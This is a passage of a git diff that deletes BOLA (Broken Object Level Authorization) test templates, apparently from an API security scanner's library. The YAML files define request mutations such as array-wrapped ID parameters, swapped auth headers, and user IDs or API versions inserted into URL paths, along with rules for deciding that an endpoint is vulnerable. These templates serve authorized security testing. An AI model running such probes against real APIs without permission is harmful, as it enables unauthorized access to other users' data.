- - multiple failed attempts
- private_variable_context:
- gt: 0
- regex: "\\b[a-zA-Z]+[-_]?\\d+\\b"
- extract: private_var
-
-execute:
- type: single
- requests:
- - req:
- - add_query_param:
- private_var.key: ${private_var.value}
- - add_body_param:
- private_var.key: ${private_var.value}
-validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- eq: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
diff --git a/Broken-Object-Level-Authorization/BOLAQueryParamArray.yml b/Broken-Object-Level-Authorization/BOLAQueryParamArray.yml
deleted file mode 100644
index 3f200293..00000000
--- a/Broken-Object-Level-Authorization/BOLAQueryParamArray.yml
+++ /dev/null
@@ -1,132 +0,0 @@
-id: ID_WRAP_ARRAY_QUERY_PARAM
-info:
- name: "BOLA: Turning Query Parameters into Arrays for Unauthorized Access"
- description: >
- "With this test, attackers manipulate the system by wrapping query parameters as arrays, aiming to exploit vulnerabilities and gain unauthorized access. By transforming these parameters, adversaries seek to circumvent security measures and potentially compromise the integrity of the system. This method underscores the importance of secure input handling and highlights the risks associated with BOLA abuse, emphasizing the need for robust security practices to thwart such unauthorized access attempts."
- details: >
- "In this test, attackers exploit BOLA vulnerabilities by manipulating query parameters, transforming them into arrays. This manipulation aims to bypass security measures, potentially leading to unauthorized access and compromises in system integrity. Understanding and mitigating these risks is essential for maintaining robust security practices and preventing unauthorized access through exploitation of BOLA vulnerabilities."
- impact: >
- "The impact of this test can be severe, introducing the risk of unauthorized access and compromising system integrity. By exploiting BOLA vulnerabilities, attackers may gain unauthorized entry, potentially leading to data breaches, unauthorized disclosures, and a degradation of overall system security. Addressing and mitigating these vulnerabilities promptly is crucial to prevent unauthorized access and protect the system from potential exploitation."
- category:
- name: BOLA
- shortName: BOLA
- displayName: Broken Object Level Authorization (BOLA)
- subCategory: ID_WRAP_ARRAY_QUERY_PARAM
- severity: CRITICAL
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://www.akto.io/blog/bola-exploitation-using-unauthorized-uuid-on-api-endpoint"
- - "https://www.akto.io/blog/what-is-broken-object-level-authorization-bola"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa1-broken-object-level-authorization.md"
- - "https://cwe.mitre.org/data/definitions/284.html"
- - "https://cwe.mitre.org/data/definitions/285.html"
- - "https://cwe.mitre.org/data/definitions/639.html"
- cwe:
- - CWE-284
- - CWE-285
- - CWE-639
- cve:
- - CVE-2023-39349
-attributes:
- nature: INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-auth:
- authenticated: true
-api_selection_filters:
- response_code:
- gte: 200
- lt: 300
- method:
- neq: "OPTIONS"
- response_payload:
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- query_param:
- for_one:
- key:
- regex: "^UserId$|^UserID$|^User-ID$|^user_id$|^user-id$|^userid$|username|^Username$|^USERNAME$|^uId$|^uid$|^UID$|^member_id$|^MemberId$|^memberId$|^profile_id$|^ProfileId$|^profileId$|^userIdentifier$|^UserIdentifier$|^user_identifier$|^account_id$|^AccountID$|^account-id$|^account_id$|^customer_id$|^CustomerID$|^customer-id$|^customer_id$"
- extract: userKey
-wordLists:
- random_ids:
- source: sample_data
- key:
- regex: "^UserId$|^UserID$|^User-ID$|^user_id$|^user-id$|^userid$|username|^Username$|^USERNAME$|^uId$|^uid$|^UID$|^member_id$|^MemberId$|^memberId$|^profile_id$|^ProfileId$|^profileId$|^userIdentifier$|^UserIdentifier$|^user_identifier$|^account_id$|^AccountID$|^account-id$|^account_id$|^customer_id$|^CustomerID$|^customer-id$|^customer_id$"
- all_apis: true
-execute:
- type: single
- requests:
- - req:
- - delete_query_param: ${userKey}
- - add_query_param:
- "${userKey}[]": ${random_ids}
-validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- gt: 0
- percentage_match:
- lt: 10
- percentage_match_schema:
- gte: 90
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
diff --git a/Broken-Object-Level-Authorization/BOLASystemResourceAccess.yml b/Broken-Object-Level-Authorization/BOLASystemResourceAccess.yml
deleted file mode 100644
index 1d55b075..00000000
--- a/Broken-Object-Level-Authorization/BOLASystemResourceAccess.yml
+++ /dev/null
@@ -1,137 +0,0 @@
-id: BOLA_ACCESS_SYS_RESOURCE
-info:
- name: "File System Resource Retrieval: Exploiting BOLA through Direct Parameter Value Manipulation."
- description: >
- "In this exploitation scenario, attackers manipulate parameters directly to retrieve file system resources, exploiting Broken Object Level Authorization (BOLA). By manipulating parameter values, adversaries aim to bypass authorization controls, potentially gaining unauthorized access to sensitive file system resources. This method underscores the critical need for robust access controls and secure parameter handling to mitigate the risks associated with unauthorized access and file system resource retrieval through BOLA vulnerabilities."
- details: >
- "Attackers exploit Broken Object Level Authorization (BOLA) by manipulating parameters to directly retrieve file system resources, potentially gaining unauthorized access. This method underscores the importance of robust access controls and secure parameter handling to prevent unauthorized access and mitigate risks associated with file system resource retrieval through BOLA vulnerabilities."
- impact: >
- "Exploiting Broken Object Level Authorization through direct parameter manipulation for file system resource retrieval can result in severe consequences. Unauthorized access may compromise sensitive data, leading to potential data breaches and system integrity issues. Implementing robust access controls and secure parameter handling is crucial to prevent unauthorized access and address the significant risks associated with BOLA vulnerabilities linked to file system resource retrieval."
- category:
- name: BOLA
- shortName: BOLA
- displayName: Broken Object Level Authorization (BOLA)
- subCategory: BOLA_ACCESS_SYS_RESOURCE
- severity: HIGH
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://www.akto.io/blog/bola-exploitation-using-unauthorized-uuid-on-api-endpoint"
- - "https://www.akto.io/blog/what-is-broken-object-level-authorization-bola"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa1-broken-object-level-authorization.md"
- - "https://cwe.mitre.org/data/definitions/284.html"
- - "https://cwe.mitre.org/data/definitions/285.html"
- - "https://cwe.mitre.org/data/definitions/639.html"
- cwe:
- - CWE-284
- - CWE-285
- - CWE-639
- cve:
- - CVE-2022-34770
-attributes:
- nature: INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-auth:
- authenticated: true
-api_selection_filters:
- response_code:
- gte: 200
- lt: 300
- method:
- neq: "OPTIONS"
- response_payload:
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- response_headers:
- for_one:
- key:
- eq: Content-Type
- value:
- extract: headerValue
- request_payload:
- for_one:
- value:
- contains_either:
- - .jpg
-execute:
- type: single
- requests:
- - req:
- - replace_auth_header: true
- - replace_body:
- regex_replace:
- regex: jpg
- replace_with: png
-validate:
- response_code:
- gte: 200
- lt: 300
- response_headers:
- for_one:
- key:
- eq: Content-Type
- value:
- eq: ${headerValue}
-
- response_payload:
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
diff --git a/Broken-Object-Level-Authorization/BOLASystemResourceAccessDELETE.yml b/Broken-Object-Level-Authorization/BOLASystemResourceAccessDELETE.yml
deleted file mode 100644
index 309a32f1..00000000
--- a/Broken-Object-Level-Authorization/BOLASystemResourceAccessDELETE.yml
+++ /dev/null
@@ -1,137 +0,0 @@
-id: BOLA_ACCESS_SYS_RESOURCE_DELETE
-info:
- name: "File System Resource Retrieval: Exploiting BOLA through Direct Parameter Value Manipulation for DELETE based APIs"
- description: >
- "In this exploitation scenario, attackers manipulate parameters directly to retrieve file system resources, exploiting Broken Object Level Authorization (BOLA) (for DELETE based APIs). By manipulating parameter values, adversaries aim to bypass authorization controls, potentially gaining unauthorized access to sensitive file system resources. This method underscores the critical need for robust access controls and secure parameter handling to mitigate the risks associated with unauthorized access and file system resource retrieval through BOLA vulnerabilities."
- details: >
- "Attackers exploit Broken Object Level Authorization (BOLA) by manipulating parameters to directly retrieve file system resources, potentially gaining unauthorized access (for DELETE based APIs). This method underscores the importance of robust access controls and secure parameter handling to prevent unauthorized access and mitigate risks associated with file system resource retrieval through BOLA vulnerabilities."
- impact: >
- "Exploiting Broken Object Level Authorization through direct parameter manipulation for file system resource retrieval can result in severe consequences. Unauthorized access may compromise sensitive data, leading to potential data breaches and system integrity issues. Implementing robust access controls and secure parameter handling is crucial to prevent unauthorized access and address the significant risks associated with BOLA vulnerabilities linked to file system resource retrieval."
- category:
- name: BOLA
- shortName: BOLA
- displayName: Broken Object Level Authorization (BOLA)
- subCategory: BOLA_ACCESS_SYS_RESOURCE_DELETE
- severity: CRITICAL
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://www.akto.io/blog/bola-exploitation-using-unauthorized-uuid-on-api-endpoint"
- - "https://www.akto.io/blog/what-is-broken-object-level-authorization-bola"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa1-broken-object-level-authorization.md"
- - "https://cwe.mitre.org/data/definitions/284.html"
- - "https://cwe.mitre.org/data/definitions/285.html"
- - "https://cwe.mitre.org/data/definitions/639.html"
- cwe:
- - CWE-284
- - CWE-285
- - CWE-639
- cve:
- - CVE-2022-34770
-attributes:
- nature: INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-auth:
- authenticated: true
-api_selection_filters:
- response_code:
- gte: 200
- lt: 300
- method:
- eq: DELETE
- response_payload:
- length:
- eq: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- response_headers:
- for_one:
- key:
- eq: Content-Type
- value:
- extract: headerValue
- request_payload:
- for_one:
- value:
- contains_either:
- - .jpg
-execute:
- type: single
- requests:
- - req:
- - replace_auth_header: true
- - replace_body:
- regex_replace:
- regex: jpg
- replace_with: png
-validate:
- response_code:
- gte: 200
- lt: 300
- response_headers:
- for_one:
- key:
- eq: Content-Type
- value:
- eq: ${headerValue}
-
- response_payload:
- length:
- eq: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
diff --git a/Broken-Object-Level-Authorization/BOLASystemResourceAccessPATCH.yml b/Broken-Object-Level-Authorization/BOLASystemResourceAccessPATCH.yml
deleted file mode 100644
index f087d7db..00000000
--- a/Broken-Object-Level-Authorization/BOLASystemResourceAccessPATCH.yml
+++ /dev/null
@@ -1,139 +0,0 @@
-id: BOLA_ACCESS_SYS_RESOURCE_PATCH
-info:
- name: "File System Resource Retrieval: Exploiting BOLA through Direct Parameter Value Manipulation for PATCH/PUT based APIs"
- description: >
- "In this exploitation scenario, attackers manipulate parameters directly to retrieve file system resources, exploiting Broken Object Level Authorization (BOLA) (for PATCH/PUT based APIs). By manipulating parameter values, adversaries aim to bypass authorization controls, potentially gaining unauthorized access to sensitive file system resources. This method underscores the critical need for robust access controls and secure parameter handling to mitigate the risks associated with unauthorized access and file system resource retrieval through BOLA vulnerabilities."
- details: >
- "Attackers exploit Broken Object Level Authorization (BOLA) by manipulating parameters to directly retrieve file system resources, potentially gaining unauthorized access (for PATCH/PUT based APIs). This method underscores the importance of robust access controls and secure parameter handling to prevent unauthorized access and mitigate risks associated with file system resource retrieval through BOLA vulnerabilities."
- impact: >
- "Exploiting Broken Object Level Authorization through direct parameter manipulation for file system resource retrieval can result in severe consequences. Unauthorized access may compromise sensitive data, leading to potential data breaches and system integrity issues. Implementing robust access controls and secure parameter handling is crucial to prevent unauthorized access and address the significant risks associated with BOLA vulnerabilities linked to file system resource retrieval."
- category:
- name: BOLA
- shortName: BOLA
- displayName: Broken Object Level Authorization (BOLA)
- subCategory: BOLA_ACCESS_SYS_RESOURCE_PATCH
- severity: CRITICAL
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://www.akto.io/blog/bola-exploitation-using-unauthorized-uuid-on-api-endpoint"
- - "https://www.akto.io/blog/what-is-broken-object-level-authorization-bola"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa1-broken-object-level-authorization.md"
- - "https://cwe.mitre.org/data/definitions/284.html"
- - "https://cwe.mitre.org/data/definitions/285.html"
- - "https://cwe.mitre.org/data/definitions/639.html"
- cwe:
- - CWE-284
- - CWE-285
- - CWE-639
- cve:
- - CVE-2022-34770
-attributes:
- nature: INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-auth:
- authenticated: true
-api_selection_filters:
- response_code:
- gte: 200
- lt: 300
- method:
- contains_either:
- - PATCH
- - PUT
- response_payload:
- length:
- eq: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- response_headers:
- for_one:
- key:
- eq: Content-Type
- value:
- extract: headerValue
- request_payload:
- for_one:
- value:
- contains_either:
- - .jpg
-execute:
- type: single
- requests:
- - req:
- - replace_auth_header: true
- - replace_body:
- regex_replace:
- regex: jpg
- replace_with: png
-validate:
- response_code:
- gte: 200
- lt: 300
- response_headers:
- for_one:
- key:
- eq: Content-Type
- value:
- eq: ${headerValue}
-
- response_payload:
- length:
- eq: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
diff --git a/Broken-Object-Level-Authorization/BOLAURLInsertAPIVersion.yml b/Broken-Object-Level-Authorization/BOLAURLInsertAPIVersion.yml
deleted file mode 100644
index 02ce2308..00000000
--- a/Broken-Object-Level-Authorization/BOLAURLInsertAPIVersion.yml
+++ /dev/null
@@ -1,189 +0,0 @@
-id: BOLA_URL_INSERT_API_VERSION
-info:
- name: "Exploiting BOLA by inserting API Version IDs in URL path for Unauthorized Access."
- description: >
- "This test involves exploiting security vulnerabilities by manipulating the URL path to insert API version IDs, leading to unauthorized access. This technique specifically targets flaws in Object Level Authorization, allowing attackers to bypass restrictions and gain access to sensitive information or functionalities intended for different API versions. By exploiting BOLA in this manner, unauthorized users can potentially compromise the security of an application or system."
- details: >
- "This test involves manipulating the URL path by inserting API Version IDs. This exploitation targets Object Level Authorization vulnerabilities, allowing unauthorized access to sensitive resources intended for different API versions. By exploiting BOLA in this manner, attackers can compromise system security and gain unauthorized entry to functionalities beyond their intended access level."
- impact: >
- "Exploiting Broken Object Level Authorization (BOLA) by inserting API Version IDs in the URL path can have severe impacts. Unauthorized access may lead to exposure of sensitive data, manipulation of critical functionalities, and potential breaches of confidentiality. This security vulnerability enables attackers to compromise the integrity of the system, posing a significant threat to the overall security posture and potentially causing reputational damage for the affected entity."
- category:
- name: BOLA
- shortName: BOLA
- displayName: Broken Object Level Authorization (BOLA)
- subCategory: BOLA_URL_INSERT_API_VERSION
- severity: CRITICAL
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://www.akto.io/blog/bola-exploitation-using-unauthorized-uuid-on-api-endpoint"
- - "https://www.akto.io/blog/what-is-broken-object-level-authorization-bola"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa1-broken-object-level-authorization.md"
- - "https://cwe.mitre.org/data/definitions/284.html"
- - "https://cwe.mitre.org/data/definitions/285.html"
- - "https://cwe.mitre.org/data/definitions/639.html"
- cwe:
- - CWE-284
- - CWE-285
- - CWE-639
- cve:
- - CVE-2022-34770
-attributes:
- nature: INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-auth:
- authenticated: true
-api_selection_filters:
- response_code:
- gte: 200
- lt: 300
- response_headers:
- for_one:
- key:
- eq: content-type
- value:
- regex: json
- method:
- neq: "OPTIONS"
- response_payload:
- length:
- gt: 0
- contains_all:
- - "{"
- - "}"
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - not found
- - not available
- - failure
- private_variable_context:
- gt: 0
-
-wordLists:
- apiVersions:
- - v0
- - v1
- - v2
- - v3
- - v4
- - v5
-
-execute:
- type: multiple
- requests:
- - req:
- - replace_auth_header: true
- - modify_url:
- token_insert:
- location: 1
- replace_with: ${apiVersions}
- - success: vulnerable
- - failure: x2
- - req:
- - replace_auth_header: true
- - modify_url:
- token_insert:
- location: 2
- replace_with: ${apiVersions}
- - success: vulnerable
- - failure: x3
- - req:
- - replace_auth_header: true
- - modify_url:
- token_insert:
- location: 3
- replace_with: ${apiVersions}
- - success: vulnerable
- - failure: x4
- - req:
- - replace_auth_header: true
- - modify_url:
- token_insert:
- location: 4
- replace_with: ${apiVersions}
- - success: vulnerable
- - failure: x5
- - req:
- - replace_auth_header: true
- - modify_url:
- token_insert:
- location: 5
- replace_with: ${apiVersions}
-validate:
- response_code:
- gte: 200
- lt: 300
-
- url:
- endpoint_in_traffic_context: false
- response_payload:
- length:
- gt: 0
- contains_all:
- - "{"
- - "}"
- percentage_match:
- lt: 90
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - not found
- - not available
- - failure
- -
- - ""
-
diff --git a/Broken-Object-Level-Authorization/BOLAURLInsertAPIVersionDELETE.yml b/Broken-Object-Level-Authorization/BOLAURLInsertAPIVersionDELETE.yml
deleted file mode 100644
index ad112060..00000000
--- a/Broken-Object-Level-Authorization/BOLAURLInsertAPIVersionDELETE.yml
+++ /dev/null
@@ -1,172 +0,0 @@
-id: BOLA_URL_INSERT_API_VERSION_DELETE
-info:
- name: "Exploiting BOLA by inserting API Version IDs in URL path for Unauthorized Access with DELETE based APIs"
- description: >
- "This test involves exploiting security vulnerabilities by manipulating the URL path to insert API version IDs, leading to unauthorized access (for DELETE based APIs). This technique specifically targets flaws in Object Level Authorization, allowing attackers to bypass restrictions and gain access to sensitive information or functionalities intended for different API versions. By exploiting BOLA in this manner, unauthorized users can potentially compromise the security of an application or system."
- details: >
- "This test involves manipulating the URL path by inserting API Version IDs (for DELETE based APIs). This exploitation targets Object Level Authorization vulnerabilities, allowing unauthorized access to sensitive resources intended for different API versions. By exploiting BOLA in this manner, attackers can compromise system security and gain unauthorized entry to functionalities beyond their intended access level."
- impact: >
- "Exploiting Broken Object Level Authorization (BOLA) by inserting API Version IDs in the URL path can have severe impacts. Unauthorized access may lead to exposure of sensitive data, manipulation of critical functionalities, and potential breaches of confidentiality. This security vulnerability enables attackers to compromise the integrity of the system, posing a significant threat to the overall security posture and potentially causing reputational damage for the affected entity."
- category:
- name: BOLA
- shortName: BOLA
- displayName: Broken Object Level Authorization (BOLA)
- subCategory: BOLA_URL_INSERT_API_VERSION_DELETE
- severity: CRITICAL
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://www.akto.io/blog/bola-exploitation-using-unauthorized-uuid-on-api-endpoint"
- - "https://www.akto.io/blog/what-is-broken-object-level-authorization-bola"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa1-broken-object-level-authorization.md"
- - "https://cwe.mitre.org/data/definitions/284.html"
- - "https://cwe.mitre.org/data/definitions/285.html"
- - "https://cwe.mitre.org/data/definitions/639.html"
- cwe:
- - CWE-284
- - CWE-285
- - CWE-639
- cve:
- - CVE-2022-34770
-attributes:
- nature: INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-auth:
- authenticated: true
-api_selection_filters:
- response_code:
- gte: 200
- lt: 300
- method:
- eq: DELETE
- response_payload:
- length:
- eq: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - not found
- - not available
- - failure
- private_variable_context:
- gt: 0
-
-wordLists:
- apiVersions:
- - v0
- - v1
- - v2
- - v3
- - v4
- - v5
-
-execute:
- type: multiple
- requests:
- - req:
- - replace_auth_header: true
- - modify_url:
- token_insert:
- location: 1
- replace_with: ${apiVersions}
- - success: vulnerable
- - failure: x2
- - req:
- - replace_auth_header: true
- - modify_url:
- token_insert:
- location: 2
- replace_with: ${apiVersions}
- - success: vulnerable
- - failure: x3
- - req:
- - replace_auth_header: true
- - modify_url:
- token_insert:
- location: 3
- replace_with: ${apiVersions}
- - success: vulnerable
- - failure: x4
- - req:
- - replace_auth_header: true
- - modify_url:
- token_insert:
- location: 4
- replace_with: ${apiVersions}
- - success: vulnerable
- - failure: x5
- - req:
- - replace_auth_header: true
- - modify_url:
- token_insert:
- location: 5
- replace_with: ${apiVersions}
-validate:
- response_code:
- gte: 200
- lt: 300
- url:
- endpoint_in_traffic_context: false
- response_payload:
- length:
- eq: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - not found
- - not available
- - failure
-
diff --git a/Broken-Object-Level-Authorization/BOLAURLInsertUserID.yml b/Broken-Object-Level-Authorization/BOLAURLInsertUserID.yml
deleted file mode 100644
index f234111e..00000000
--- a/Broken-Object-Level-Authorization/BOLAURLInsertUserID.yml
+++ /dev/null
@@ -1,168 +0,0 @@
-id: BOLA_URL_INSERT_USER_ID
-info:
- name: "Exploiting BOLA by inserting User IDs in URL path for Unauthorized Access."
- description: >
- "This test involves assessing the vulnerability of a system's authorization mechanism by manipulating User IDs within the URL path. This form of exploitation aims to gain unauthorized access by inserting User IDs in the URL, tricking the system into granting privileges that should be restricted. This test helps identify weaknesses in object-level authorization controls, ensuring that proper access restrictions are in place and unauthorized users cannot manipulate identifiers to gain unauthorized entry."
- details: >
- "This test involves probing for vulnerabilities in a system's authorization process. Specifically, attackers exploit BOLA by manipulating User IDs within the URL path to gain unauthorized access. This method targets object-level authorization controls, aiming to bypass restrictions and exploit weaknesses in the system's security. Identifying and addressing these vulnerabilities is crucial for preventing unauthorized users from manipulating identifiers and accessing restricted resources."
- impact: >
- "The impact of a successful Broken Object Level Authorization (BOLA) exploit can be severe, leading to unauthorized access to sensitive data or functionalities. Attackers could gain elevated privileges, compromising the integrity and confidentiality of the system. This breach may result in unauthorized manipulation or deletion of critical information, posing a significant risk to the organization's data security. Proper mitigation strategies are essential to prevent such unauthorized access and safeguard against potential data breaches."
- category:
- name: BOLA
- shortName: BOLA
- displayName: Broken Object Level Authorization (BOLA)
- subCategory: BOLA_URL_INSERT_USER_ID
- severity: HIGH
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://www.akto.io/blog/bola-exploitation-using-unauthorized-uuid-on-api-endpoint"
- - "https://www.akto.io/blog/what-is-broken-object-level-authorization-bola"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa1-broken-object-level-authorization.md"
- - "https://cwe.mitre.org/data/definitions/284.html"
- - "https://cwe.mitre.org/data/definitions/285.html"
- - "https://cwe.mitre.org/data/definitions/639.html"
- cwe:
- - CWE-284
- - CWE-285
- - CWE-639
- cve:
- - CVE-2022-34770
-
-attributes:
- nature: INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-auth:
- authenticated: true
-api_selection_filters:
- response_code:
- gte: 200
- lt: 300
- method:
- neq: "OPTIONS"
- response_payload:
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - failure
- - not found
- - not available
-wordLists:
- random_ids:
- source: sample_data
- key:
- regex: "^UserId$|^UserID$|^User-ID$|^user_id$|^user-id$|^userid$|username|^Username$|^USERNAME$|^uId$|^uid$|^UID$|^member_id$|^MemberId$|^memberId$|^profile_id$|^ProfileId$|^profileId$|^userIdentifier$|^UserIdentifier$|^user_identifier$|^account_id$|^AccountID$|^account-id$|^account_id$|^customer_id$|^CustomerID$|^customer-id$|^customer_id$"
- all_apis: true
-
-execute:
- type: multiple
- requests:
- - req:
- - modify_url:
- token_insert:
- location: 1
- replace_with: ${random_ids}
- - success: vulnerable
- - failure: x2
- - req:
- - modify_url:
- token_insert:
- location: 2
- replace_with: ${random_ids}
- - success: vulnerable
- - failure: x3
- - req:
- - modify_url:
- token_insert:
- location: 3
- replace_with: ${random_ids}
- - success: vulnerable
- - failure: x4
- - req:
- - modify_url:
- token_insert:
- location: 4
- replace_with: ${random_ids}
- - success: vulnerable
- - failure: x5
- - req:
- - modify_url:
- token_insert:
- location: 5
- replace_with: ${random_ids}
-validate:
- response_code:
- gte: 200
- lt: 300
- url:
- endpoint_in_traffic_context: false
- response_payload:
- length:
- gt: 0
- percentage_match:
- lt: 10
- percentage_match_schema:
- gte: 90
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - failure
- - not available
- - not found
- - ""
- - ""
diff --git a/Broken-Object-Level-Authorization/BOLAURLInsertUserIDDELETE.yml b/Broken-Object-Level-Authorization/BOLAURLInsertUserIDDELETE.yml
deleted file mode 100644
index f2cc4c3b..00000000
--- a/Broken-Object-Level-Authorization/BOLAURLInsertUserIDDELETE.yml
+++ /dev/null
@@ -1,162 +0,0 @@
-id: BOLA_URL_INSERT_USER_ID_DELETE
-info:
- name: "Exploiting BOLA by inserting User IDs in URL path for Unauthorized Access for DELETE based APIs"
- description: >
- "This test involves assessing the vulnerability of a system's authorization mechanism by manipulating User IDs within the URL path (requests having DELETE based APIs). This form of exploitation aims to gain unauthorized access by inserting User IDs in the URL, tricking the system into granting privileges that should be restricted. This test helps identify weaknesses in object-level authorization controls, ensuring that proper access restrictions are in place and unauthorized users cannot manipulate identifiers to gain unauthorized entry."
- details: >
